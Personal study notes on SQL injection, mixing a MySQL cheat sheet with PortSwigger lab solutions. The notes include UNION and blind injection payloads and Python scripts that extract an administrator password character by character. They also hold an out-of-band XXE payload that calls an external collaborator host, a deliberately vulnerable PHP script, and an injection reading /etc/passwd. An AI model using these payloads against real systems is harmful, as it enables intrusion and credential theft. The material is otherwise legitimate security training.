- All database which the user has access
select schema_name from information_schema.schemata;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| sys |
| test |
| joke |
| joke_t |
| joke_ |
| wp |
+--------------------+
- All tables which the user has access
select table_name from information_schema.tables where table_schema="test"
# or
# select table_name from information_schema.tables where table_schema=database()
+------------+
| TABLE_NAME |
+------------+
| client |
| user |
+------------+
- All columns from a specific table
select column_name from information_schema.columns where table_schema=database() and table_name="user";
+-------------+
| COLUMN_NAME |
+-------------+
| id |
| name |
| email |
+-------------+
- Simple select
select name from user;
+-------+
| name |
+-------+
| Ho |
| Alfa |
| beta |
| jolfa |
+-------+
select * from client
Empty set (0.00 sec)
When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the UNION
keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.
mysql> select * from user ORDER BY 1;
+------+-------+----------------+
| id | name | email |
+------+-------+----------------+
| 1 | Ho | test@gmail.com |
| 2 | Alfa | alfa@gmail.com |
| 3 | beta | beta@gmail.com |
| 4 | jolfa | j@gmail.com |
+------+-------+----------------+
mysql> select * from user ORDER BY 2;
+------+-------+----------------+
| id | name | email |
+------+-------+----------------+
| 2 | Alfa | alfa@gmail.com |
| 3 | beta | beta@gmail.com |
| 1 | Ho | test@gmail.com |
| 4 | jolfa | j@gmail.com |
+------+-------+----------------+
- Number must be equal or less than number of columns.
mysql> select * from user ORDER BY 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
The UNION keyword lets you execute one or more additional SELECT queries and append the results to the original query.
For a UNION
query to work, two key requirements must be met:
- The individual queries must return the same number of columns.
- The data types in each column must be compatible between the individual queries.
select * from user union select * from client union select 1,2,3
+------+-------+----------------+
| id | name | email |
+------+-------+----------------+
| 1 | Ho | test@gmail.com |
| 2 | Alfa | alfa@gmail.com |
| 3 | beta | beta@gmail.com |
| 4 | jolfa | j@gmail.com |
| 1 | 2 | 3 |
+------+-------+----------------+
Union select with different number of coulmns
select * from user union select 1,2,3,4;
#output
ERROR 1222 (21000): The used SELECT statements have a different number of columns
- ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# or
' ORDER BY 1#
' ORDER BY 2#
' ORDER BY 3#
- UNION SELECT
' union null--
' union null#
' union null,null,null--
If the number of nulls does not match the number of columns, the database returns an error, such as:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
Again, the application might actually return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column.
The reason for using
NULL
as the values returned from the injectedSELECT
query is that the data types in each column must be compatible between the original and the injected queries. SinceNULL
is convertible to every commonly used data type, usingNULL
maximizes the chance that the payload will succeed when the column count is correct.
- Union select on Oracel
' UNION SELECT NULL from dual--
On Oracle databases, every SELECT
statement must specify a table to select FROM
. If your UNION SELECT
attack does not query from a table, you will still need to include the FROM
keyword followed by a valid table name.
There is a built-in table on Oracle called dual
which you can use for this purpose. For example: UNION SELECT 'abc' FROM dual
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
- If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:
Conversion failed when converting the varchar value 'a' to data type int.
If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.
concat
concatinate toghether multiple strings to single string
select concat(name,"~~~",email) from user;
+--------------------------+
| concat(name,"~~~",email) |
+--------------------------+
| Ho~~~test@gmail.com |
| Alfa~~~alfa@gmail.com |
| beta~~~beta@gmail.com |
| jolfa~~~j@gmail.com |
+--------------------------+
group_concat
concatenate data from multiple rows into one field
select group_concat(name,"~~~",email) from user;
+-------------------------------------------------------------------------------------+
| group_concat(name,"~~~",email) |
+-------------------------------------------------------------------------------------+
| Ho~~~test@gmail.com,Alfa~~~alfa@gmail.com,beta~~~beta@gmail.com,jolfa~~~j@gmail.com |
+-------------------------------------------------------------------------------------+
' or 1=1#
# equal
"/**/or/**/1=1#
mysql> select * from user where name='Alfa';
+------+------+----------------+
| id | name | email |
+------+------+----------------+
| 2 | Alfa | alfa@gmail.com |
+------+------+----------------+
1 row in set (0.00 sec)
mysql> select * from user where name=0x416c6661;
+------+------+----------------+
| id | name | email |
+------+------+----------------+
| 2 | Alfa | alfa@gmail.com |
+------+------+----------------+
1 row in set (0.00 sec)
- Convert string to hex in Linux bash via
xxd
echo -n Alfa| xxd -ps
- IF
select if(2>1,"True","False");
+------------------------+
| if(2>1,"True","False") |
+------------------------+
| True |
+------------------------+
- Case
mysql> select name, case when name='Alfa' then 'True' else '-' end from user;
+-------+------------------------------------------------+
| name | case when name='Alfa' then 'True' else '-' end |
+-------+------------------------------------------------+
| Ho | - |
| Alfa | True |
| beta | - |
| jolfa | - |
+-------+------------------------------------------------+
SUBSTRING(string, start, length)
SUBSTR(string, start, length)
MID(string, start, length)
mysql> select substring('rick',1,1);
+-----------------------+
| substring('rick',1,1) |
+-----------------------+
| r |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substr('rick',1,1);
+--------------------+
| substr('rick',1,1) |
+--------------------+
| r |
+--------------------+
1 row in set (0.00 sec)
mysql> select mid('rick',1,1);
+-----------------+
| mid('rick',1,1) |
+-----------------+
| r |
+-----------------+
1 row in set (0.00 sec)
Return the ASCII value of the first character.
mysql> SELECT ASCII('RICK');
+---------------+
| ASCII('RICK') |
+---------------+
| 82 |
+---------------+
1 row in set (0.00 sec)
mysql> SELECT ASCII('R');
+------------+
| ASCII('R') |
+------------+
| 82 |
+------------+
1 row in set (0.00 sec)
- ASCII table
Dec Hex Oct Html Char
0 0 000 NUL
1 1 001 SOH
2 2 002 STX
3 3 003 ETX
4 4 004 EOT
5 5 005 ENQ
6 6 006 ACK
7 7 007 BEL
8 8 010 BS
9 9 011 TAB
10 A 012 LF
11 B 013 VT
12 C 014 FF
13 D 015 CR
14 E 016 SO
15 F 017 SI
16 10 020 DLE
17 11 021 DC1
18 12 022 DC2
19 13 023 DC3
20 14 024 DC4
21 15 025 NAK
22 16 026 SYN
23 17 027 ETB
24 18 030 CAN
25 19 031 EM
26 1A 032 SUB
27 1B 033 ESC
28 1C 034 FS
29 1D 035 GS
30 1E 036 RS
31 1F 037 US
32 20 040   Space
33 21 041 ! !
34 22 042 " \"
35 23 043 # #
36 24 044 $ $
37 25 045 % %
38 26 046 & &
39 27 047 ' '
40 28 050 ( (
41 29 051 ) )
42 2A 052 * *
43 2B 053 + +
44 2C 054 , ,
45 2D 055 - -
46 2E 056 . .
47 2F 057 / /
48 30 060 0 0
49 31 061 1 1
50 32 062 2 2
51 33 063 3 3
52 34 064 4 4
53 35 065 5 5
54 36 066 6 6
55 37 067 7 7
56 38 070 8 8
57 39 071 9 9
58 3A 072 : :
59 3B 073 ; ;
60 3C 074 < <
61 3D 075 = =
62 3E 076 > >
63 3F 077 ? ?
64 40 100 @ @
65 41 101 A A
66 42 102 B B
67 43 103 C C
68 44 104 D D
69 45 105 E E
70 46 106 F F
71 47 107 G G
72 48 110 H H
73 49 111 I I
74 4A 112 J J
75 4B 113 K K
76 4C 114 L L
77 4D 115 M M
78 4E 116 N N
79 4F 117 O O
80 50 120 P P
81 51 121 Q Q
**82 52 122 R R**
83 53 123 S S
84 54 124 T T
85 55 125 U U
86 56 126 V V
87 57 127 W W
88 58 130 X X
89 59 131 Y Y
90 5A 132 Z Z
91 5B 133 [ [
92 5C 134 \ \
93 5D 135 ] ]
94 5E 136 ^ ^
95 5F 137 _ _
96 60 140 ` `
97 61 141 a a
98 62 142 b b
99 63 143 c c
100 64 144 d d
101 65 145 e e
102 66 146 f f
103 67 147 g g
104 68 150 h h
105 69 151 i i
106 6A 152 j j
107 6B 153 k k
108 6C 154 l l
109 6D 155 m m
110 6E 156 n n
111 6F 157 o o
112 70 160 p p
113 71 161 q q
114 72 162 r r
115 73 163 s s
116 74 164 t t
117 75 165 u u
118 76 166 v v
119 77 167 w w
120 78 170 x x
121 79 171 y y
122 7A 172 z z
123 7B 173 { {
124 7C 174 | |
125 7D 175 } }
126 7E 176 ~ ~
127 7F 177  DEL
- SELECT
SeLeCt
%00SELECT
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
SEL/**/ECT
Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.
With blind SQL injection vulnerabilities, many techniques such as UNION
attacks, are not effective because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.
- Boolean based blind → return 1 or 0
- Time based blind → make a delay if query be ture
Lab - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows.
The database contains a different table called users
, with columns called username
and password
. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator
user.
To solve the lab, log in as the administrator
user.
Solution:
I have a tracking id in cookeis like this :TrackingId=NqZivwgKPtLKDW0x;
I can see “welcome back!” in home page, if this trakingId be correct, otherwise nothing.
Now I add a boolean condition next of tracking id:
TrackingId=NqZivwgKPtLKDW0x' and 1=1--
again I see “Welcome back!”, then I want to test another case:
TrackingId=NqZivwgKPtLKDW0x' and 1=2--
but this time nothing.
so that’s mean there is a sqli. first I need to know length of password. so I wrote this:
TrackingId=NqZivwgKPtLKDW0x' and 1<(select length(password) from user where username='administrator')--
again I see “Welcome back!”, so clearly, the length is greater than of number one. after play with number, I found out the length is 20
TrackingId=NqZivwgKPtLKDW0x' and 20=(select length(password) from user where username='administrator')--
Now I need to write a script to extract 20 chars of administrator’s password.
import requests
from bs4 import BeautifulSoup as BS
import re
from itertools import chain
def _check_bool(query):
cookies = {
"TrackingId":f"NqZivwgKPtLKDW0x' and {query}",
"session":"kfZso9yB7U0rwIVOktJhRv4yTNSSnadv",
}
req= s.get('https://0a7100350360f9e3c0fa0764000900a7.web-security-academy.net', cookies=cookies)
response = BS(req.text,'html.parser')
target = str(response)
pattern = r"Welcome"
res= re.search(pattern,target)
if res:
return True
else:
return False
def _dump_char():
# ASCII CHAR a-z ==> 97-122
# ASCII 0-9 => 48-57
# ASCII CHAR _ => 95
# ASCII CHAR , => 44
result = ''
dump_length = 22
print(dump_length, end="\n", flush=True)
for l in range(1, dump_length+1):
ascii_chars = chain(range(97, 123),
range(48, 58), range(95, 96), range(44, 45))
for char in ascii_chars:
query= f"{char}=ascii(substr((select password from users where username='administrator'),{l},1))--"
res = _check_bool(query)
if res:
print(chr(char), end="", flush=True)
result = result + chr(char)
break
print("\n")
return result
with requests.Session () as s:
print(_dump_char())
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
My Solution:
For this challenge I need to find an error condition. First I test it:
TrackingId=w9jrPJv9nbvMV3Jz' and 1=2--
Nothing, test another case:
TrackingId=w9jrPJv9nbvMV3Jz' and 1=TO_CAHR(1/0)--
Boom Error. (Database is Oracel).
Now I need to know length of database:
TrackingId=w9jrPJv9nbvMV3Jz' and 1=(SELECT CASE WHEN ((select length(password) from users where username='administrator')=21) THEN TO_CHAR(1/0) ELSE NULL END FROM dual)--
Nothing, test another case:
TrackingId=w9jrPJv9nbvMV3Jz' and 1=(SELECT CASE WHEN ((select length(password) from users where username='administrator')=20) THEN TO_CHAR(1/0) ELSE NULL END FROM dual)--
Boom Error, Database length is 20.
Now I need to extract password from database.
GET / HTTP/1.1
Host: 0a0f00810350486bc022179800ff00c7.web-security-academy.net
Cookie: TrackingId=w9jrPJv9nbvMV3Jz' and 1=(SELECT CASE WHEN ('h'=substr((select password from users where username='administrator'),1,1)) THEN TO_CHAR(1/0) ELSE NULL END FROM dual)--; session=f17ws8nSrFNcRFkM1JVdwqvXyBcc0bm0
Sec-Ch-Ua: "Google Chrome";v="93", " Not;A Brand";v="99", "Chromium";v="93"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00810350486bc022179800ff00c7.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8
Connection: close
The first char of password is h.
Now I run this exploit:
import requests
from bs4 import BeautifulSoup as BS
import re
from itertools import chain
def _check_bool(query):
cookies = {
"TrackingId":f"w9jrPJv9nbvMV3Jz' and {query}",
"session":"kfZso9yB7U0rwIVOktJhRv4yTNSSnadv",
}
req= s.get('https://0a5800940343c617c055020700970091.web-security-academy.net/', cookies=cookies)
if req.status_code >= 500:
return True
else:
return False
def _dump_char():
# ASCII CHAR a-z ==> 97-122
# ASCII CHAR A-Z ==> 65-90
# ASCII 0-9 => 48-57
# ASCII CHAR _ => 95
# ASCII CHAR , => 44
result = ''
dump_length = 22
print(dump_length, end="\n", flush=True)
for l in range(1, dump_length+1):
ascii_chars = chain(range(97, 123),
range(48, 58), range(95, 96), range(44, 45))
for char in ascii_chars:
query=f"1=(SELECT CASE WHEN ({char}=ASCII(substr((select password from users where username='administrator'),{l},1))) THEN TO_CHAR(1/0) ELSE NULL END FROM dual)--"
res = _check_bool(query)
if res:
print(chr(char), end="", flush=True)
result = result + chr(char)
break
print("\n")
return result
with requests.Session () as s:
print(_dump_char())
- LAB:Blind SQL injection with time delays and information retrieval url:https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
Solution:
First I need to know what is the sql type, after tests, I found this challenge using Postgresql.
Cookie: TrackingId=zbDwYeFRnryEXDOp' || pg_sleep(10)--;
Now I need the length of password: it’s 20
GET / HTTP/1.1
Host: 0a6e001c039be6c6c095349f007700fa.web-security-academy.net
Cookie: TrackingId=zbDwYeFRnryEXDOp' || (SELECT CASE WHEN ((select length(password) from users where username='administrator')=20) THEN pg_sleep(3) ELSE pg_sleep(0) END)--; session=u1wC4Yp3TnA2gz91WYB54O2NDk6T1H4M
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="93", " Not;A Brand";v="99", "Chromium";v="93"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8
Connection: close
let’s find a query to fetch password:
Cookie: TrackingId=zbDwYeFRnryEXDOp' || (SELECT CASE WHEN ('b'=substr((select password from users where username='administrator'),5,1)) THEN pg_sleep(3) ELSE pg_sleep(0) END)--;
Now With a python code I can fetch all chars of password:
import requests
from itertools import chain
def _check_bool(query):
cookies = {
"TrackingId":f"zbDwYeFRnryEXDOp' || {query}",
"session":"u1wC4Yp3TnA2gz91WYB54O2NDk6T1H4M",
}
req = s.get("https://0a6e001c039be6c6c095349f007700fa.web-security-academy.net", cookies=cookies)
if req.elapsed.total_seconds() >= 3:
return True
else:
return False
def _dump_char():
result=''
dump_length=21
for l in range(1, dump_length+1):
ascii_chars = chain(range(97,123),range(48,58))
for char in ascii_chars:
query = f"(SELECT CASE WHEN ({char}=ascii(substr((select password from users where username='administrator'),{l},1))) THEN pg_sleep(5) ELSE pg_sleep(0) END)--"
res = _check_bool(query)
if res:
print(chr(char), end="", flush=True)
result = result + chr(char)
break
print("\n")
return result
with requests.Session() as s:
_dump_char()
Lab: Blind SQL injection with out-of-band data exfiltration
url: https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
This solution works for Oracel SQL
+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//jsfl9x72zpfgcjxyr6txhc75awgm4b.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
# Stop service
sudo systemctl stop mysql
# run in Safe mode
sudo mysqld_safe --skip-grant-tables --skip-networking &
# login
mysql -u root
# flush privileges
# mysql>
flush privileges;
#set new root password
set password for root@'localhost'=PASSWORD('root')
# exit from mysql
quit
#shutdown mysql then start
mysqladmin -u root -p shutdown
sudo systemctl start mysql
# run my sql with root password
mysql -u root -p
# enter password: root
# Create
Create database test;
# select
use test;
# create table
create table people(id integer, name varchar(100), email varchar(100));
#insert data
insert into people(id,name,email) values (1,'rick','[email protected]');
# let's say table name is users and column name is email. we want update id 1
update users set email = '[email protected]' where id=1
update Users set email=replace(email,'[email protected]','[email protected]');
<?php
ini_set('display_errors','1');
$mysqli = new mysqli("localhost","root","root","test");
if ($mysqli -> connect_errno) {
echo "Failed to connect to MySQL: " . $mysqli -> connect_error;
exit();
}
$sql= "select * from users where id={$_GET['p']}";
print_r($result = $mysqli->query($sql));
$row = $result->fetch_assoc();
printf("%s (%s)\n", $row['username'],$row["password"]);
$result->free_result();
$mysqli->close();
- Run php server
php -S localhost:8000
- injection
http://localhost:8000/mysql.php?p=2/**/union%20select%201,2,load_file(%27/etc/passwd%27)/**/order/**/by/**/1/**/ASC;
- output
2 (root:x:0:0::/root:/usr/bin/zsh bin:x:1:1::/:/usr/bin/nologin,,,,,,